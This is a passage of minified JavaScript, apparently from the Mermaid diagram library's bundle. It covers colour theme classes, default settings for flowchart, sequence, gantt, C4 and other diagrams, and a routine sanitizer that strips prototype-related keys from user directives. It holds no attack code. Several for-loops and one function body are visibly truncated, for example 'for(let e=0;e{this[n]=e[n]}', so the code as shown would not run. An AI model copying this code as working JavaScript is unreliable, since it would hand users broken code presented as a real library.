1037",this.cScale3=this.cScale3||"#3f5258",this.cScale4=this.cScale4||"#4f2f1b",this.cScale5=this.cScale5||"#6e0a0a",this.cScale6=this.cScale6||"#3b0048",this.cScale7=this.cScale7||"#995a01",this.cScale8=this.cScale8||"#154706",this.cScale9=this.cScale9||"#161722",this.cScale10=this.cScale10||"#00296f",this.cScale11=this.cScale11||"#01629c",this.cScale12=this.cScale12||"#010029",this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330});for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},FG=o(t=>{let e=new T7;return e.calculate(t),e},"getThemeVariables")});var w7,mh,Oy=N(()=>{"use strict";eo();x0();Iy();w7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#ECECFF",this.secondaryColor=Pe(this.primaryColor,{h:120}),this.secondaryColor="#ffffde",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.background="white",this.mainBkg="#ECECFF",this.secondBkg="#ffffde",this.lineColor="#333333",this.border1="#9370DB",this.border2="#aaaa33",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.labelBackground="rgba(232,232,232, 0.8)",this.textColor="#333",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="calculated",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="calculated",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="calculated",this.taskTextColor=this.taskTextLightColor,this.taskTextDarkColor="calculated",this.taskTextOutsideColor=this.taskTextDarkColor,this.taskTextClickableColor="calculated",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBorderColor="calculated",this.critBkgColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.sectionBkgColor=Ka(102,102,255,.49),this.altSectionBkgColor="white",this.sectionBkgColor2="#fff400",this.taskBorderColor="#534fbc",this.taskBkgColor="#8a90dd",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="#534fbc",this.activeTaskBkgColor="#bfc7ff",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="navy",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd="calculated",this.rowEven="calculated",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222",this.updateColors()}updateColors(){this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]==="calculated"&&(this[n]=void 0)}),typeof e!="object"){this.updateColors();return}let r=Object.keys(e);r.forEach(n=>{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},mh=o(t=>{let e=new w7;return e.calculate(t),e},"getThemeVariables")});var k7,zG,GG=N(()=>{"use strict";eo();Iy();x0();k7=class{static{o(this,"Theme")}constructor(){this.background="#f4f4f4",this.primaryColor="#cde498",this.secondaryColor="#cdffb2",this.background="white",this.mainBkg="#cde498",this.secondBkg="#cdffb2",this.lineColor="green",this.border1="#13540c",this.border2="#6eaa49",this.arrowheadColor="green",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.tertiaryColor=Rt("#cde498",10),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.primaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="#333",this.edgeLabelBackground="#e8e8e8",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="black",this.actorLineColor="calculated",this.signalColor="#333",this.signalTextColor="#333",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="#326932",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="#fff5ad",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="#6eaa49",this.altSectionBkgColor="white",this.sectionBkgColor2="#6eaa49",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="#487e3a",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="black",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="lightgrey",this.doneTaskBkgColor="lightgrey",this.doneTaskBorderColor="grey",this.critBorderColor="#ff8888",this.critBkgColor="red",this.todayLineColor="red",this.vertLineColor="#00BFFF",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.actorBorder=Pt(this.mainBkg,20),this.actorBkg=this.mainBkg,this.labelBoxBkgColor=this.actorBkg,this.labelTextColor=this.actorTextColor,this.loopTextColor=this.actorTextColor,this.noteBorderColor=this.border2,this.noteTextColor=this.actorTextColor,this.actorLineColor=this.actorBorder,this.cScale0=this.cScale0||this.primaryColor,this.cScale1=this.cScale1||this.secondaryColor,this.cScale2=this.cScale2||this.tertiaryColor,this.cScale3=this.cScale3||Pe(this.primaryColor,{h:30}),this.cScale4=this.cScale4||Pe(this.primaryColor,{h:60}),this.cScale5=this.cScale5||Pe(this.primaryColor,{h:90}),this.cScale6=this.cScale6||Pe(this.primaryColor,{h:120}),this.cScale7=this.cScale7||Pe(this.primaryColor,{h:150}),this.cScale8=this.cScale8||Pe(this.primaryColor,{h:210}),this.cScale9=this.cScale9||Pe(this.primaryColor,{h:270}),this.cScale10=this.cScale10||Pe(this.primaryColor,{h:300}),this.cScale11=this.cScale11||Pe(this.primaryColor,{h:330}),this.cScalePeer1=this.cScalePeer1||Pt(this.secondaryColor,45),this.cScalePeer2=this.cScalePeer2||Pt(this.tertiaryColor,40);for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},zG=o(t=>{let e=new k7;return e.calculate(t),e},"getThemeVariables")});var E7,VG,UG=N(()=>{"use strict";eo();x0();Iy();E7=class{static{o(this,"Theme")}constructor(){this.primaryColor="#eee",this.contrast="#707070",this.secondaryColor=Rt(this.contrast,55),this.background="#ffffff",this.tertiaryColor=Pe(this.primaryColor,{h:-160}),this.primaryBorderColor=wi(this.primaryColor,this.darkMode),this.secondaryBorderColor=wi(this.secondaryColor,this.darkMode),this.tertiaryBorderColor=wi(this.tertiaryColor,this.darkMode),this.primaryTextColor=Et(this.primaryColor),this.secondaryTextColor=Et(this.secondaryColor),this.tertiaryTextColor=Et(this.tertiaryColor),this.lineColor=Et(this.background),this.textColor=Et(this.background),this.mainBkg="#eee",this.secondBkg="calculated",this.lineColor="#666",this.border1="#999",this.border2="calculated",this.note="#ffa",this.text="#333",this.critical="#d42",this.done="#bbb",this.arrowheadColor="#333333",this.fontFamily='"trebuchet ms", verdana, arial, sans-serif',this.fontSize="16px",this.THEME_COLOR_LIMIT=12,this.nodeBkg="calculated",this.nodeBorder="calculated",this.clusterBkg="calculated",this.clusterBorder="calculated",this.defaultLinkColor="calculated",this.titleColor="calculated",this.edgeLabelBackground="white",this.actorBorder="calculated",this.actorBkg="calculated",this.actorTextColor="calculated",this.actorLineColor=this.actorBorder,this.signalColor="calculated",this.signalTextColor="calculated",this.labelBoxBkgColor="calculated",this.labelBoxBorderColor="calculated",this.labelTextColor="calculated",this.loopTextColor="calculated",this.noteBorderColor="calculated",this.noteBkgColor="calculated",this.noteTextColor="calculated",this.activationBorderColor="#666",this.activationBkgColor="#f4f4f4",this.sequenceNumberColor="white",this.sectionBkgColor="calculated",this.altSectionBkgColor="white",this.sectionBkgColor2="calculated",this.excludeBkgColor="#eeeeee",this.taskBorderColor="calculated",this.taskBkgColor="calculated",this.taskTextLightColor="white",this.taskTextColor="calculated",this.taskTextDarkColor="calculated",this.taskTextOutsideColor="calculated",this.taskTextClickableColor="#003163",this.activeTaskBorderColor="calculated",this.activeTaskBkgColor="calculated",this.gridColor="calculated",this.doneTaskBkgColor="calculated",this.doneTaskBorderColor="calculated",this.critBkgColor="calculated",this.critBorderColor="calculated",this.todayLineColor="calculated",this.vertLineColor="calculated",this.personBorder=this.primaryBorderColor,this.personBkg=this.mainBkg,this.archEdgeColor="calculated",this.archEdgeArrowColor="calculated",this.archEdgeWidth="3",this.archGroupBorderColor=this.primaryBorderColor,this.archGroupBorderWidth="2px",this.rowOdd=this.rowOdd||Rt(this.mainBkg,75)||"#ffffff",this.rowEven=this.rowEven||"#f4f4f4",this.labelColor="black",this.errorBkgColor="#552222",this.errorTextColor="#552222"}updateColors(){this.secondBkg=Rt(this.contrast,55),this.border2=this.contrast,this.actorBorder=Rt(this.border1,23),this.actorBkg=this.mainBkg,this.actorTextColor=this.text,this.actorLineColor=this.actorBorder,this.signalColor=this.text,this.signalTextColor=this.text,this.labelBoxBkgColor=this.actorBkg,this.labelBoxBorderColor=this.actorBorder,this.labelTextColor=this.text,this.loopTextColor=this.text,this.noteBorderColor="#999",this.noteBkgColor="#666",this.noteTextColor="#fff",this.cScale0=this.cScale0||"#555",this.cScale1=this.cScale1||"#F4F4F4",this.cScale2=this.cScale2||"#555",this.cScale3=this.cScale3||"#BBB",this.cScale4=this.cScale4||"#777",this.cScale5=this.cScale5||"#999",this.cScale6=this.cScale6||"#DDD",this.cScale7=this.cScale7||"#FFF",this.cScale8=this.cScale8||"#DDD",this.cScale9=this.cScale9||"#BBB",this.cScale10=this.cScale10||"#999",this.cScale11=this.cScale11||"#777";for(let e=0;e{this[n]=e[n]}),this.updateColors(),r.forEach(n=>{this[n]=e[n]})}},VG=o(t=>{let e=new E7;return e.calculate(t),e},"getThemeVariables")});var So,e3=N(()=>{"use strict";BG();$G();Oy();GG();UG();So={base:{getThemeVariables:PG},dark:{getThemeVariables:FG},default:{getThemeVariables:mh},forest:{getThemeVariables:zG},neutral:{getThemeVariables:VG}}});var ul,HG=N(()=>{"use strict";ul={flowchart:{useMaxWidth:!0,titleTopMargin:25,subGraphTitleMargin:{top:0,bottom:0},diagramPadding:8,htmlLabels:!0,nodeSpacing:50,rankSpacing:50,curve:"basis",padding:15,defaultRenderer:"dagre-wrapper",wrappingWidth:200,inheritDir:!1},sequence:{useMaxWidth:!0,hideUnusedParticipants:!1,activationWidth:10,diagramMarginX:50,diagramMarginY:10,actorMargin:50,width:150,height:65,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",mirrorActors:!0,forceMenus:!1,bottomMarginAdj:1,rightAngles:!1,showSequenceNumbers:!1,actorFontSize:14,actorFontFamily:'"Open Sans", sans-serif',actorFontWeight:400,noteFontSize:14,noteFontFamily:'"trebuchet ms", verdana, arial, sans-serif',noteFontWeight:400,noteAlign:"center",messageFontSize:16,messageFontFamily:'"trebuchet ms", verdana, arial, sans-serif',messageFontWeight:400,wrap:!1,wrapPadding:10,labelBoxWidth:50,labelBoxHeight:20},gantt:{useMaxWidth:!0,titleTopMargin:25,barHeight:20,barGap:4,topPadding:50,rightPadding:75,leftPadding:75,gridLineStartPadding:35,fontSize:11,sectionFontSize:11,numberSectionStyles:4,axisFormat:"%Y-%m-%d",topAxis:!1,displayMode:"",weekday:"sunday"},journey:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,maxLabelWidth:360,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],titleColor:"",titleFontFamily:'"trebuchet ms", verdana, arial, sans-serif',titleFontSize:"4ex"},class:{useMaxWidth:!0,titleTopMargin:25,arrowMarkerAbsolute:!1,dividerMargin:10,padding:5,textHeight:10,defaultRenderer:"dagre-wrapper",htmlLabels:!1,hideEmptyMembersBox:!1},state:{useMaxWidth:!0,titleTopMargin:25,dividerMargin:10,sizeUnit:5,padding:8,textHeight:10,titleShift:-15,noteMargin:10,forkWidth:70,forkHeight:7,miniPadding:2,fontSizeFactor:5.02,fontSize:24,labelHeight:16,edgeLengthFactor:"20",compositTitleSize:35,radius:5,defaultRenderer:"dagre-wrapper"},er:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:20,layoutDirection:"TB",minEntityWidth:100,minEntityHeight:75,entityPadding:15,nodeSpacing:140,rankSpacing:80,stroke:"gray",fill:"honeydew",fontSize:12},pie:{useMaxWidth:!0,textPosition:.75},quadrantChart:{useMaxWidth:!0,chartWidth:500,chartHeight:500,titleFontSize:20,titlePadding:10,quadrantPadding:5,xAxisLabelPadding:5,yAxisLabelPadding:5,xAxisLabelFontSize:16,yAxisLabelFontSize:16,quadrantLabelFontSize:16,quadrantTextTopPadding:5,pointTextPadding:5,pointLabelFontSize:12,pointRadius:5,xAxisPosition:"top",yAxisPosition:"left",quadrantInternalBorderStrokeWidth:1,quadrantExternalBorderStrokeWidth:2},xyChart:{useMaxWidth:!0,width:700,height:500,titleFontSize:20,titlePadding:10,showDataLabel:!1,showTitle:!0,xAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},yAxis:{$ref:"#/$defs/XYChartAxisConfig",showLabel:!0,labelFontSize:14,labelPadding:5,showTitle:!0,titleFontSize:16,titlePadding:5,showTick:!0,tickLength:5,tickWidth:2,showAxisLine:!0,axisLineWidth:2},chartOrientation:"vertical",plotReservedSpacePercent:50},requirement:{useMaxWidth:!0,rect_fill:"#f9f9f9",text_color:"#333",rect_border_size:"0.5px",rect_border_color:"#bbb",rect_min_width:200,rect_min_height:200,fontSize:14,rect_padding:10,line_height:20},mindmap:{useMaxWidth:!0,padding:10,maxNodeWidth:200,layoutAlgorithm:"cose-bilkent"},kanban:{useMaxWidth:!0,padding:8,sectionWidth:200,ticketBaseUrl:""},timeline:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,leftMargin:150,width:150,height:50,boxMargin:10,boxTextMargin:5,noteMargin:10,messageMargin:35,messageAlign:"center",bottomMarginAdj:1,rightAngles:!1,taskFontSize:14,taskFontFamily:'"Open Sans", sans-serif',taskMargin:50,activationWidth:10,textPlacement:"fo",actorColours:["#8FBC8F","#7CFC00","#00FFFF","#20B2AA","#B0E0E6","#FFFFE0"],sectionFills:["#191970","#8B008B","#4B0082","#2F4F4F","#800000","#8B4513","#00008B"],sectionColours:["#fff"],disableMulticolor:!1},gitGraph:{useMaxWidth:!0,titleTopMargin:25,diagramPadding:8,nodeLabel:{width:75,height:100,x:-25,y:0},mainBranchName:"main",mainBranchOrder:0,showCommitLabel:!0,showBranches:!0,rotateCommitLabel:!0,parallelCommits:!1,arrowMarkerAbsolute:!1},c4:{useMaxWidth:!0,diagramMarginX:50,diagramMarginY:10,c4ShapeMargin:50,c4ShapePadding:20,width:216,height:60,boxMargin:10,c4ShapeInRow:4,nextLinePaddingX:0,c4BoundaryInRow:2,personFontSize:14,personFontFamily:'"Open Sans", sans-serif',personFontWeight:"normal",external_personFontSize:14,external_personFontFamily:'"Open Sans", sans-serif',external_personFontWeight:"normal",systemFontSize:14,systemFontFamily:'"Open Sans", sans-serif',systemFontWeight:"normal",external_systemFontSize:14,external_systemFontFamily:'"Open Sans", sans-serif',external_systemFontWeight:"normal",system_dbFontSize:14,system_dbFontFamily:'"Open Sans", sans-serif',system_dbFontWeight:"normal",external_system_dbFontSize:14,external_system_dbFontFamily:'"Open Sans", sans-serif',external_system_dbFontWeight:"normal",system_queueFontSize:14,system_queueFontFamily:'"Open Sans", sans-serif',system_queueFontWeight:"normal",external_system_queueFontSize:14,external_system_queueFontFamily:'"Open Sans", sans-serif',external_system_queueFontWeight:"normal",boundaryFontSize:14,boundaryFontFamily:'"Open Sans", sans-serif',boundaryFontWeight:"normal",messageFontSize:12,messageFontFamily:'"Open Sans", sans-serif',messageFontWeight:"normal",containerFontSize:14,containerFontFamily:'"Open Sans", sans-serif',containerFontWeight:"normal",external_containerFontSize:14,external_containerFontFamily:'"Open Sans", sans-serif',external_containerFontWeight:"normal",container_dbFontSize:14,container_dbFontFamily:'"Open Sans", sans-serif',container_dbFontWeight:"normal",external_container_dbFontSize:14,external_container_dbFontFamily:'"Open Sans", sans-serif',external_container_dbFontWeight:"normal",container_queueFontSize:14,container_queueFontFamily:'"Open Sans", sans-serif',container_queueFontWeight:"normal",external_container_queueFontSize:14,external_container_queueFontFamily:'"Open Sans", sans-serif',external_container_queueFontWeight:"normal",componentFontSize:14,componentFontFamily:'"Open Sans", sans-serif',componentFontWeight:"normal",external_componentFontSize:14,external_componentFontFamily:'"Open Sans", sans-serif',external_componentFontWeight:"normal",component_dbFontSize:14,component_dbFontFamily:'"Open Sans", sans-serif',component_dbFontWeight:"normal",external_component_dbFontSize:14,external_component_dbFontFamily:'"Open Sans", sans-serif',external_component_dbFontWeight:"normal",component_queueFontSize:14,component_queueFontFamily:'"Open Sans", sans-serif',component_queueFontWeight:"normal",external_component_queueFontSize:14,external_component_queueFontFamily:'"Open Sans", sans-serif',external_component_queueFontWeight:"normal",wrap:!0,wrapPadding:10,person_bg_color:"#08427B",person_border_color:"#073B6F",external_person_bg_color:"#686868",external_person_border_color:"#8A8A8A",system_bg_color:"#1168BD",system_border_color:"#3C7FC0",system_db_bg_color:"#1168BD",system_db_border_color:"#3C7FC0",system_queue_bg_color:"#1168BD",system_queue_border_color:"#3C7FC0",external_system_bg_color:"#999999",external_system_border_color:"#8A8A8A",external_system_db_bg_color:"#999999",external_system_db_border_color:"#8A8A8A",external_system_queue_bg_color:"#999999",external_system_queue_border_color:"#8A8A8A",container_bg_color:"#438DD5",container_border_color:"#3C7FC0",container_db_bg_color:"#438DD5",container_db_border_color:"#3C7FC0",container_queue_bg_color:"#438DD5",container_queue_border_color:"#3C7FC0",external_container_bg_color:"#B3B3B3",external_container_border_color:"#A6A6A6",external_container_db_bg_color:"#B3B3B3",external_container_db_border_color:"#A6A6A6",external_container_queue_bg_color:"#B3B3B3",external_container_queue_border_color:"#A6A6A6",component_bg_color:"#85BBF0",component_border_color:"#78A8D8",component_db_bg_color:"#85BBF0",component_db_border_color:"#78A8D8",component_queue_bg_color:"#85BBF0",component_queue_border_color:"#78A8D8",external_component_bg_color:"#CCCCCC",external_component_border_color:"#BFBFBF",external_component_db_bg_color:"#CCCCCC",external_component_db_border_color:"#BFBFBF",external_component_queue_bg_color:"#CCCCCC",external_component_queue_border_color:"#BFBFBF"},sankey:{useMaxWidth:!0,width:600,height:400,linkColor:"gradient",nodeAlignment:"justify",showValues:!0,prefix:"",suffix:""},block:{useMaxWidth:!0,padding:8},packet:{useMaxWidth:!0,rowHeight:32,bitWidth:32,bitsPerRow:32,showBits:!0,paddingX:5,paddingY:5},architecture:{useMaxWidth:!0,padding:40,iconSize:80,fontSize:16},radar:{useMaxWidth:!0,width:600,height:600,marginTop:50,marginRight:50,marginBottom:50,marginLeft:50,axisScaleFactor:1,axisLabelFactor:1.05,curveTension:.17},theme:"default",look:"classic",handDrawnSeed:0,layout:"dagre",maxTextSize:5e4,maxEdges:500,darkMode:!1,fontFamily:'"trebuchet ms", verdana, arial, sans-serif;',logLevel:5,securityLevel:"strict",startOnLoad:!0,arrowMarkerAbsolute:!1,secure:["secure","securityLevel","startOnLoad","maxTextSize","suppressErrorRendering","maxEdges"],legacyMathML:!1,forceLegacyMathML:!1,deterministicIds:!1,fontSize:16,markdownAutoWrap:!0,suppressErrorRendering:!1}});var qG,WG,YG,ur,La=N(()=>{"use strict";e3();HG();qG={...ul,deterministicIDSeed:void 0,elk:{mergeEdges:!1,nodePlacementStrategy:"BRANDES_KOEPF",forceNodeModelOrder:!1,considerModelOrder:"NODES_AND_EDGES"},themeCSS:void 0,themeVariables:So.default.getThemeVariables(),sequence:{...ul.sequence,messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont"),noteFont:o(function(){return{fontFamily:this.noteFontFamily,fontSize:this.noteFontSize,fontWeight:this.noteFontWeight}},"noteFont"),actorFont:o(function(){return{fontFamily:this.actorFontFamily,fontSize:this.actorFontSize,fontWeight:this.actorFontWeight}},"actorFont")},class:{hideEmptyMembersBox:!1},gantt:{...ul.gantt,tickInterval:void 0,useWidth:void 0},c4:{...ul.c4,useWidth:void 0,personFont:o(function(){return{fontFamily:this.personFontFamily,fontSize:this.personFontSize,fontWeight:this.personFontWeight}},"personFont"),flowchart:{...ul.flowchart,inheritDir:!1},external_personFont:o(function(){return{fontFamily:this.external_personFontFamily,fontSize:this.external_personFontSize,fontWeight:this.external_personFontWeight}},"external_personFont"),systemFont:o(function(){return{fontFamily:this.systemFontFamily,fontSize:this.systemFontSize,fontWeight:this.systemFontWeight}},"systemFont"),external_systemFont:o(function(){return{fontFamily:this.external_systemFontFamily,fontSize:this.external_systemFontSize,fontWeight:this.external_systemFontWeight}},"external_systemFont"),system_dbFont:o(function(){return{fontFamily:this.system_dbFontFamily,fontSize:this.system_dbFontSize,fontWeight:this.system_dbFontWeight}},"system_dbFont"),external_system_dbFont:o(function(){return{fontFamily:this.external_system_dbFontFamily,fontSize:this.external_system_dbFontSize,fontWeight:this.external_system_dbFontWeight}},"external_system_dbFont"),system_queueFont:o(function(){return{fontFamily:this.system_queueFontFamily,fontSize:this.system_queueFontSize,fontWeight:this.system_queueFontWeight}},"system_queueFont"),external_system_queueFont:o(function(){return{fontFamily:this.external_system_queueFontFamily,fontSize:this.external_system_queueFontSize,fontWeight:this.external_system_queueFontWeight}},"external_system_queueFont"),containerFont:o(function(){return{fontFamily:this.containerFontFamily,fontSize:this.containerFontSize,fontWeight:this.containerFontWeight}},"containerFont"),external_containerFont:o(function(){return{fontFamily:this.external_containerFontFamily,fontSize:this.external_containerFontSize,fontWeight:this.external_containerFontWeight}},"external_containerFont"),container_dbFont:o(function(){return{fontFamily:this.container_dbFontFamily,fontSize:this.container_dbFontSize,fontWeight:this.container_dbFontWeight}},"container_dbFont"),external_container_dbFont:o(function(){return{fontFamily:this.external_container_dbFontFamily,fontSize:this.external_container_dbFontSize,fontWeight:this.external_container_dbFontWeight}},"external_container_dbFont"),container_queueFont:o(function(){return{fontFamily:this.container_queueFontFamily,fontSize:this.container_queueFontSize,fontWeight:this.container_queueFontWeight}},"container_queueFont"),external_container_queueFont:o(function(){return{fontFamily:this.external_container_queueFontFamily,fontSize:this.external_container_queueFontSize,fontWeight:this.external_container_queueFontWeight}},"external_container_queueFont"),componentFont:o(function(){return{fontFamily:this.componentFontFamily,fontSize:this.componentFontSize,fontWeight:this.componentFontWeight}},"componentFont"),external_componentFont:o(function(){return{fontFamily:this.external_componentFontFamily,fontSize:this.external_componentFontSize,fontWeight:this.external_componentFontWeight}},"external_componentFont"),component_dbFont:o(function(){return{fontFamily:this.component_dbFontFamily,fontSize:this.component_dbFontSize,fontWeight:this.component_dbFontWeight}},"component_dbFont"),external_component_dbFont:o(function(){return{fontFamily:this.external_component_dbFontFamily,fontSize:this.external_component_dbFontSize,fontWeight:this.external_component_dbFontWeight}},"external_component_dbFont"),component_queueFont:o(function(){return{fontFamily:this.component_queueFontFamily,fontSize:this.component_queueFontSize,fontWeight:this.component_queueFontWeight}},"component_queueFont"),external_component_queueFont:o(function(){return{fontFamily:this.external_component_queueFontFamily,fontSize:this.external_component_queueFontSize,fontWeight:this.external_component_queueFontWeight}},"external_component_queueFont"),boundaryFont:o(function(){return{fontFamily:this.boundaryFontFamily,fontSize:this.boundaryFontSize,fontWeight:this.boundaryFontWeight}},"boundaryFont"),messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont")},pie:{...ul.pie,useWidth:984},xyChart:{...ul.xyChart,useWidth:void 0},requirement:{...ul.requirement,useWidth:void 0},packet:{...ul.packet},radar:{...ul.radar},treemap:{useMaxWidth:!0,padding:10,diagramPadding:8,showValues:!0,nodeWidth:100,nodeHeight:40,borderWidth:1,valueFontSize:12,labelFontSize:14,valueFormat:","}},WG=o((t,e="")=>Object.keys(t).reduce((r,n)=>Array.isArray(t[n])?r:typeof t[n]=="object"&&t[n]!==null?[...r,e+n,...WG(t[n],"")]:[...r,e+n],[]),"keyify"),YG=new Set(WG(qG,"")),ur=qG});var b0,T5e,S7=N(()=>{"use strict";La();pt();b0=o(t=>{if(X.debug("sanitizeDirective called with",t),!(typeof t!="object"||t==null)){if(Array.isArray(t)){t.forEach(e=>b0(e));return}for(let e of Object.keys(t)){if(X.debug("Checking key",e),e.startsWith("__")||e.includes("proto")||e.includes("constr")||!YG.has(e)||t[e]==null){X.debug("sanitize deleting key: ",e),delete t[e];continue}if(typeof t[e]=="object"){X.debug("sanitizing object",e),b0(t[e]);continue}let r=["themeCSS","fontFamily","altFontFamily"];for(let n of r)e.includes(n)&&(X.debug("sanitizing css option",e),t[e]=T5e(t[e]))}if(t.themeVariables)for(let e of Object.keys(t.themeVariables)){let r=t.themeVariables[e];r?.match&&!r.match(/^[\d "#%(),.;A-Za-z]+$/)&&(t.themeVariables[e]="")}X.debug("After sanitization",t)}},"sanitizeDirective"),T5e=o(t=>{let e=0,r=0;for(let n of t){if(e{"use strict";v0();pt();e3();La();S7();gh=Object.freeze(ur),Es=Rn({},gh),cd=[],Py=Rn({},gh),r3=o((t,e)=>{let r=Rn({},t),n={};for(let i of e)QG(i),n=Rn(n,i);if(r=Rn(r,n),n.theme&&n.theme in So){let i=Rn({},t3),a=Rn(i.themeVariables||{},n.themeVariables);r.theme&&r.theme in So&&(r.themeVariables=So[r.theme].getThemeVariables(a))}return 